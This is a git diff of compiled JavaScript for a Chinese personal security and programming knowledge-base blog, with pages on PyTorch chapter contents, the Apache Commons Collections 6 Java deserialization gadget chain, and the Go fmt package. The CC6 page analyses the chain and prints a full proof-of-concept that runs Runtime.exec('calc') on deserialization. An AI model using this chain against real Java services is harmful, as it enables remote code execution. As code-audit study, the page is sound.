t={code:"code",h1:"h1",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"\u7b2c\u516b\u7ae0",children:"\u7b2c\u516b\u7ae0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:29"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"\u7b2c\u516b\u7ae0pytorch\u751f\u6001\u7b80\u4ecb",children:"\u7b2c\u516b\u7ae0\uff1aPyTorch\u751f\u6001\u7b80\u4ecb"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-{toctree}",children:":maxdepth: 2\n8.1 \u672c\u7ae0\u7b80\u4ecb\n8.2 \u56fe\u50cf - torchvision\n8.3 \u89c6\u9891 - PyTorchVideo\n8.4 \u6587\u672c - torchtext\n8.5 \u97f3\u9891 - torchaudio\n"})})]})}function a(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(h,{...e})}):h(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>c,x:()=>i});var r=n(96540);const s={},l=r.createContext(s);function c(e){const t=r.useContext(l);return r.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:c(e.components),r.createElement(l.Provider,{value:t},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/cae94aff.5a4597e7.js b/en/assets/js/cae94aff.5a4597e7.js new file mode 100644 index 0000000..5333956 --- /dev/null +++ b/en/assets/js/cae94aff.5a4597e7.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6924],{28453:(e,n,a)=>{a.d(n,{R:()=>c,x:()=>o});var s=a(96540);const t={},r=s.createContext(t);function c(e){const n=s.useContext(r);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function o(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:c(e.components),s.createElement(r.Provider,{value:n},e.children)}},36271:(e,n,a)=>{a.r(n),a.d(n,{assets:()=>i,contentTitle:()=>o,default:()=>m,frontMatter:()=>c,metadata:()=>s,toc:()=>l});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC6","title":"Apache Commons Collections 6","description":"[!Tip]","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7/06.CC6.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC6","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC6","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7/06.CC6.md","tags":[],"version":"current","sidebarPosition":6,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Apache Commons Collections 3","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC3"},"next":{"title":"URLDNS","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/URLDNS"}}');var t=a(74848),r=a(28453);const c={},o="Apache Commons Collections 6",i={},l=[{value:"\u5229\u7528\u94fe\u5206\u6790",id:"\u5229\u7528\u94fe\u5206\u6790",level:2},{value:"CC6\u5229\u7528\u6d41\u7a0b\u56fe",id:"cc6\u5229\u7528\u6d41\u7a0b\u56fe",level:2}];function p(e){const n={blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",...(0,r.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(n.header,{children:(0,t.jsx)(n.h1,{id:"apache-commons-collections-6",children:"Apache Commons Collections 6"})}),"\n",(0,t.jsxs)(n.blockquote,{children:["\n",(0,t.jsx)(n.p,{children:"[!Tip]"}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u6761\u94fe\u662f\u5229\u7528\u7684Map\u4e2d\u7684\u94fe\uff0c\u6240\u4ee5\u4e0d\u9650\u5236jdk\u7248"}),"\n"]}),"\n",(0,t.jsx)(n.h2,{id:"\u5229\u7528\u94fe\u5206\u6790",children:"\u5229\u7528\u94fe\u5206\u6790"}),"\n",(0,t.jsxs)(n.p,{children:["\u4e0eCC1\u7684\u5165\u53e3\u4e00\u81f4\uff0c\u90fd\u662f",(0,t.jsx)(n.code,{children:"LazyMap.get()"}),"\uff0cCC6\u662f\u7531 ",(0,t.jsx)(n.code,{children:"TiedMapEntry"}),"\u7c7b\u4e2d\u7684",(0,t.jsx)(n.code,{children:"getValue"}),"\u65b9\u6cd5\uff0c\u5176\u4e2d\u7684map\u3001key\u90fd\u662f\u53ef\u4ee5\u63a7\u5236\u7684"]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202303101124870.png-1",alt:"image-20230221105532474"})}),"\n",(0,t.jsxs)(n.p,{children:["\u800c\u5728 ",(0,t.jsx)(n.code,{children:"TiedMapEntry"}),"\u7c7b\u4e2d\uff0c\u53ef\u4ee5\u627e\u5230 hashCode \u4e2d\u8c03\u7528\u4e86 ",(0,t.jsx)(n.code,{children:"getValue"})," \uff0c\u800c\u6211\u4eec\u77e5\u9053URLDNS\u8fd9\u6761\u94fe\u4e5f\u662f\u5229\u7528\u7684",(0,t.jsx)(n.code,{children:"hashCode"})," \uff0c\u6240\u4ee5\u5c31\u53ef\u4ee5\u6210\u529f\u5229\u7528\u8fd9\u6761\u94fe"]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202303101124192.png-1",alt:"image-20230221110043135"})}),"\n",(0,t.jsx)(n.p,{children:"\u6ce8\uff1a\u8fd9\u91cc\u5b58\u5728\u4e24\u4e2a\u95ee\u9898"}),"\n",(0,t.jsxs)(n.ol,{children:["\n",(0,t.jsxs)(n.li,{children:["\u5728\u8fd9\u6761\u94fe\u4e2d\u8981\u60f3map\u4e2d\u6dfb\u52a0\u5143\u7d20\u4e5f\u4f1a\u89e6\u53d1",(0,t.jsx)(n.code,{children:"hash"})]}),"\n"]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20230221110644953",src:a(68568).A+"",width:"745",height:"273"})}),"\n",(0,t.jsxs)(n.p,{children:["\u4e3a\u4e86\u907f\u514d\u8fd9\u4e2a\u95ee\u9898\uff0c\u53ef\u4ee5\u5c06",(0,t.jsx)(n.code,{children:"Transformer"})," \u968f\u610f\u53d6\u503c\uff0c\u4e0d\u8ba9\u540e\u7eed\u94fe\u89e6\u53d1\u3002"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-java",children:"Map lazy = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(1));\n"})}),"\n",(0,t.jsxs)(n.ol,{start:"2",children:["\n",(0,t.jsxs)(n.li,{children:["\u5e8f\u5217\u5316\u4e4b\u540e\uff0c\u4f1a\u5728map\u4e2d\u751f\u5b58\u4e00\u4e2a",(0,t.jsx)(n.code,{children:"key"}),"\uff0c\u5bfc\u81f4\u540e\u7eed\u65e0\u6cd5\u8fdb\u5165\u8fd9\u4e2aif\u8bed\u53e5\u4e2d"]}),"\n"]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202303101124225.png-1",alt:"image-20230221111046190"})}),"\n",(0,t.jsx)(n.p,{children:"\u6240\u4ee5\u5728\u6210\u529fput\u4e4b\u540e\uff0c\u8981\u5220\u9664\u6dfb\u52a0\u7684key"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-java",children:'map.put(tiedMap,"aaa");\nlazy.remove("cccc");\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u5b8c\u6574POC"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-java",children:'package org.example;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.keyvalue.TiedMapEntry;\nimport org.apache.commons.collections.map.LazyMap;\n\nimport java.io.*;\nimport java.lang.reflect.*;\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class CC6 {\n public static void main(String[] args) throws Exception {\n Transformer[] transformers = new Transformer[]{\n new ConstantTransformer(Runtime.class),\n new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),\n new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),\n new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),\n };\n ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);\n Map lazy = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(1));\n TiedMapEntry tiedMap = new TiedMapEntry(lazy,"cccc");\n HashMap map = new HashMap<>();\n map.put(tiedMap,"aaa");\n lazy.remove("cccc");\n Class aClass = lazy.getClass();\n Field factory = aClass.getDeclaredField("factory");\n factory.setAccessible(true);\n factory.set(lazy,chainedTransformer);\n serialize(map);\n unserialize("ser.bin");\n }\n\n public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {\n ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));\n return objectInputStream.readObject();\n }\n public static void serialize(Object obj) throws IOException {\n ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));\n objectOutputStream.writeObject(obj);\n }\n\n}\n'})}),"\n",(0,t.jsx)(n.h2,{id:"cc6\u5229\u7528\u6d41\u7a0b\u56fe",children:"CC6\u5229\u7528\u6d41\u7a0b\u56fe"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202303101124473.png-1",alt:"image-20230310112404524"})})]})}function m(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(p,{...e})}):p(e)}},68568:(e,n,a)=>{a.d(n,{A:()=>s});const s=a.p+"assets/images/image-20230221110644953-771069075e9cc43d6e93973e50c6cf78.png"}}]); \ No newline at end of file diff --git a/en/assets/js/cd8ac4bd.a58d9246.js b/en/assets/js/cd8ac4bd.a58d9246.js new file mode 100644 index 0000000..2347288 --- /dev/null +++ b/en/assets/js/cd8ac4bd.a58d9246.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[972],{28453:(n,e,t)=>{t.d(e,{R:()=>i,x:()=>c});var r=t(96540);const s={},l=r.createContext(s);function i(n){const e=r.useContext(l);return r.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function c(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(s):n.components||s:i(n.components),r.createElement(l.Provider,{value:e},n.children)}},31597:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>d,contentTitle:()=>c,default:()=>h,frontMatter:()=>i,metadata:()=>r,toc:()=>a});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-fmt","title":"fmt","description":"\u672c\u7bc7\u77e5\u8bc6\uff0c\u642c\u8fd0\u81f3 Go\u8bed\u8a00fmt\u4f7f\u7528\u6307\u5357 | \u674e\u6587\u5468\u7684\u535a\u5ba2\uff0c\u5982\u6709\u4fb5\u6743\uff0c\u8054\u7cfb\u6211\u4e0b\u67b6 \u3002","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/02.Go\u6a21\u5757\u5b66\u4e60/01.GoLang-fmt.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/02.Go\u6a21\u5757\u5b66\u4e60","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-fmt","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-fmt","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/02.Go\u6a21\u5757\u5b66\u4e60/01.GoLang-fmt.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7f51\u7edc\u7f16\u7a0b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7f51\u7edc\u7f16\u7a0b"},"next":{"title":"02.GoLand-net.http.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLand-net.http"}}');var s=t(74848),l=t(28453);const i={},c="fmt",d={},a=[{value:"\u5411\u5916\u8f93\u51fa",id:"\u5411\u5916\u8f93\u51fa",level:2},{value:"Print",id:"print",level:3},{value:"Fprint",id:"fprint",level:3},{value:"Sprint",id:"sprint",level:3},{value:"Errorf",id:"errorf",level:3},{value:"\u683c\u5f0f\u5316\u5360\u4f4d\u7b26",id:"\u683c\u5f0f\u5316\u5360\u4f4d\u7b26",level:2},{value:"\u901a\u7528\u5360\u4f4d\u7b26",id:"\u901a\u7528\u5360\u4f4d\u7b26",level:3},{value:"\u5e03\u5c14\u578b",id:"\u5e03\u5c14\u578b",level:3},{value:"\u6574\u578b",id:"\u6574\u578b",level:3},{value:"\u6d6e\u70b9\u6570\u4e0e\u590d\u6570",id:"\u6d6e\u70b9\u6570\u4e0e\u590d\u6570",level:3},{value:"\u5b57\u7b26\u4e32\u548c[]byte",id:"\u5b57\u7b26\u4e32\u548cbyte",level:3},{value:"\u6307\u9488",id:"\u6307\u9488",level:3},{value:"\u5bbd\u5ea6\u6807\u8bc6\u7b26",id:"\u5bbd\u5ea6\u6807\u8bc6\u7b26",level:3},{value:"\u5176\u4ed6flag",id:"\u5176\u4ed6flag",level:3},{value:"\u83b7\u53d6\u8f93\u5165",id:"\u83b7\u53d6\u8f93\u5165",level:2},{value:"fmt.Scan",id:"fmtscan",level:3},{value:"fmt.Scanf",id:"fmtscanf",level:3},{value:"fmt.Scanln",id:"fmtscanln",level:3},{value:"bufio.NewReader",id:"bufionewreader",level:3},{value:"Fscan\u7cfb\u5217",id:"fscan\u7cfb\u5217",level:3},{value:"Sscan\u7cfb\u5217",id:"sscan\u7cfb\u5217",level:3}];function x(n){const e={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...n.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(e.header,{children:(0,s.jsx)(e.h1,{id:"fmt",children:"fmt"})}),"\n",(0,s.jsxs)(e.blockquote,{children:["\n",(0,s.jsxs)(e.p,{children:["\u672c\u7bc7\u77e5\u8bc6\uff0c\u642c\u8fd0\u81f3 ",(0,s.jsx)(e.a,{href:"https://www.liwenzhou.com/posts/Go/fmt/",children:"Go\u8bed\u8a00fmt\u4f7f\u7528\u6307\u5357 | \u674e\u6587\u5468\u7684\u535a\u5ba2"}),"\uff0c\u5982\u6709\u4fb5\u6743\uff0c\u8054\u7cfb\u6211\u4e0b\u67b6 \u3002"]}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"fmt\u5305\u5b9e\u73b0\u4e86\u7c7b\u4f3cC\u8bed\u8a00printf\u548cscanf\u7684\u683c\u5f0f\u5316I/O\u3002\u4e3b\u8981\u5206\u4e3a\u5411\u5916\u8f93\u51fa\u5185\u5bb9\u548c\u83b7\u53d6\u8f93\u5165\u5185\u5bb9\u4e24\u5927\u90e8\u5206\u3002"}),"\n",(0,s.jsx)(e.h2,{id:"\u5411\u5916\u8f93\u51fa",children:"\u5411\u5916\u8f93\u51fa"}),"\n",(0,s.jsxs)(e.p,{children:["\u6807\u51c6\u5e93",(0,s.jsx)(e.code,{children:"fmt"}),"\u63d0\u4f9b\u4e86\u4ee5\u4e0b\u51e0\u79cd\u8f93\u51fa\u76f8\u5173\u51fd\u6570\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"print",children:"Print"}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.code,{children:"Print"}),"\u7cfb\u5217\u51fd\u6570\u4f1a\u5c06\u5185\u5bb9\u8f93\u51fa\u5230\u7cfb\u7edf\u7684\u6807\u51c6\u8f93\u51fa\uff0c\u533a\u522b\u5728\u4e8e",(0,s.jsx)(e.code,{children:"Print"}),"\u51fd\u6570\u76f4\u63a5\u8f93\u51fa\u5185\u5bb9\uff0c",(0,s.jsx)(e.code,{children:"Printf"}),"\u51fd\u6570\u652f\u6301\u683c\u5f0f\u5316\u8f93\u51fa\u5b57\u7b26\u4e32\uff0c",(0,s.jsx)(e.code,{children:"Println"}),"\u51fd\u6570\u4f1a\u5728\u8f93\u51fa\u5185\u5bb9\u7684\u7ed3\u5c3e\u6dfb\u52a0\u4e00\u4e2a\u6362\u884c\u7b26\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func Print(a ...interface{}) (n int, err error)\nfunc Printf(format string, a ...interface{}) (n int, err error)\nfunc Println(a ...interface{}) (n int, err error)\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u4e3e\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\tfmt.Print("\u5728\u7ec8\u7aef\u6253\u5370\u8be5\u4fe1\u606f\u3002")\n\tname := "\u6c99\u6cb3\u5c0f\u738b\u5b50"\n\tfmt.Printf("\u6211\u662f\uff1a%s\\n", name)\n\tfmt.Println("\u5728\u7ec8\u7aef\u6253\u5370\u5355\u72ec\u4e00\u884c\u663e\u793a")\n}\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u6267\u884c\u4e0a\u9762\u7684\u4ee3\u7801\u8f93\u51fa\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"\u5728\u7ec8\u7aef\u6253\u5370\u8be5\u4fe1\u606f\u3002\u6211\u662f\uff1a\u6c99\u6cb3\u5c0f\u738b\u5b50\n\u5728\u7ec8\u7aef\u6253\u5370\u5355\u72ec\u4e00\u884c\u663e\u793a\n"})}),"\n",(0,s.jsx)(e.h3,{id:"fprint",children:"Fprint"}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.code,{children:"Fprint"}),"\u7cfb\u5217\u51fd\u6570\u4f1a\u5c06\u5185\u5bb9\u8f93\u51fa\u5230\u4e00\u4e2a",(0,s.jsx)(e.code,{children:"io.Writer"}),"\u63a5\u53e3\u7c7b\u578b\u7684\u53d8\u91cf",(0,s.jsx)(e.code,{children:"w"}),"\u4e2d\uff0c\u6211\u4eec\u901a\u5e38\u7528\u8fd9\u4e2a\u51fd\u6570\u5f80\u6587\u4ef6\u4e2d\u5199\u5165\u5185\u5bb9\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func Fprint(w io.Writer, a ...interface{}) (n int, err error)\nfunc Fprintf(w io.Writer, format string, a ...interface{}) (n int, err error)\nfunc Fprintln(w io.Writer, a ...interface{}) (n int, err error)\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'// \u5411\u6807\u51c6\u8f93\u51fa\u5199\u5165\u5185\u5bb9\nfmt.Fprintln(os.Stdout, "\u5411\u6807\u51c6\u8f93\u51fa\u5199\u5165\u5185\u5bb9")\nfileObj, err := os.OpenFile("./xx.txt", os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644)\nif err != nil {\n\tfmt.Println("\u6253\u5f00\u6587\u4ef6\u51fa\u9519\uff0cerr:", err)\n\treturn\n}\nname := "\u6c99\u6cb3\u5c0f\u738b\u5b50"\n// \u5411\u6253\u5f00\u7684\u6587\u4ef6\u53e5\u67c4\u4e2d\u5199\u5165\u5185\u5bb9\nfmt.Fprintf(fileObj, "\u5f80\u6587\u4ef6\u4e2d\u5199\u5982\u4fe1\u606f\uff1a%s", name)\n'})}),"\n",(0,s.jsxs)(e.p,{children:["\u6ce8\u610f\uff0c\u53ea\u8981\u6ee1\u8db3",(0,s.jsx)(e.code,{children:"io.Writer"}),"\u63a5\u53e3\u7684\u7c7b\u578b\u90fd\u652f\u6301\u5199\u5165\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"sprint",children:"Sprint"}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.code,{children:"Sprint"}),"\u7cfb\u5217\u51fd\u6570\u4f1a\u628a\u4f20\u5165\u7684\u6570\u636e\u751f\u6210\u5e76\u8fd4\u56de\u4e00\u4e2a\u5b57\u7b26\u4e32\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func Sprint(a ...interface{}) string\nfunc Sprintf(format string, a ...interface{}) string\nfunc Sprintln(a ...interface{}) string\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u7b80\u5355\u7684\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'s1 := fmt.Sprint("\u6c99\u6cb3\u5c0f\u738b\u5b50")\nname := "\u6c99\u6cb3\u5c0f\u738b\u5b50"\nage := 18\ns2 := fmt.Sprintf("name:%s,age:%d", name, age)\ns3 := fmt.Sprintln("\u6c99\u6cb3\u5c0f\u738b\u5b50")\nfmt.Println(s1, s2, s3)\n'})}),"\n",(0,s.jsx)(e.h3,{id:"errorf",children:"Errorf"}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.code,{children:"Errorf"}),"\u51fd\u6570\u6839\u636eformat\u53c2\u6570\u751f\u6210\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u5e76\u8fd4\u56de\u4e00\u4e2a\u5305\u542b\u8be5\u5b57\u7b26\u4e32\u7684\u9519\u8bef\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func Errorf(format string, a ...interface{}) error\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u901a\u5e38\u4f7f\u7528\u8fd9\u79cd\u65b9\u5f0f\u6765\u81ea\u5b9a\u4e49\u9519\u8bef\u7c7b\u578b\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'err := fmt.Errorf("\u8fd9\u662f\u4e00\u4e2a\u9519\u8bef")\n'})}),"\n",(0,s.jsxs)(e.p,{children:["Go1.13\u7248\u672c\u4e3a",(0,s.jsx)(e.code,{children:"fmt.Errorf"}),"\u51fd\u6570\u65b0\u52a0\u4e86\u4e00\u4e2a",(0,s.jsx)(e.code,{children:"%w"}),"\u5360\u4f4d\u7b26\u7528\u6765\u751f\u6210\u4e00\u4e2a\u53ef\u4ee5\u5305\u88f9Error\u7684Wrapping Error\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'e := errors.New("\u539f\u59cb\u9519\u8befe")\nw := fmt.Errorf("Wrap\u4e86\u4e00\u4e2a\u9519\u8bef%w", e)\n'})}),"\n",(0,s.jsx)(e.h2,{id:"\u683c\u5f0f\u5316\u5360\u4f4d\u7b26",children:"\u683c\u5f0f\u5316\u5360\u4f4d\u7b26"}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.code,{children:"*printf"}),"\u7cfb\u5217\u51fd\u6570\u90fd\u652f\u6301format\u683c\u5f0f\u5316\u53c2\u6570\uff0c\u5728\u8fd9\u91cc\u6211\u4eec\u6309\u7167\u5360\u4f4d\u7b26\u5c06\u88ab\u66ff\u6362\u7684\u53d8\u91cf\u7c7b\u578b\u5212\u5206\uff0c\u65b9\u4fbf\u67e5\u8be2\u548c\u8bb0\u5fc6\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"\u901a\u7528\u5360\u4f4d\u7b26",children:"\u901a\u7528\u5360\u4f4d\u7b26"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u5360\u4f4d\u7b26"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u8bf4\u660e"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%v"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u503c\u7684\u9ed8\u8ba4\u683c\u5f0f\u8868\u793a"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%+v"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u7c7b\u4f3c%v\uff0c\u4f46\u8f93\u51fa\u7ed3\u6784\u4f53\u65f6\u4f1a\u6dfb\u52a0\u5b57\u6bb5\u540d"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%#v"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u503c\u7684Go\u8bed\u6cd5\u8868\u793a"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%T"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6253\u5370\u503c\u7684\u7c7b\u578b"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%%"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u767e\u5206\u53f7"})]})]})]}),"\n",(0,s.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n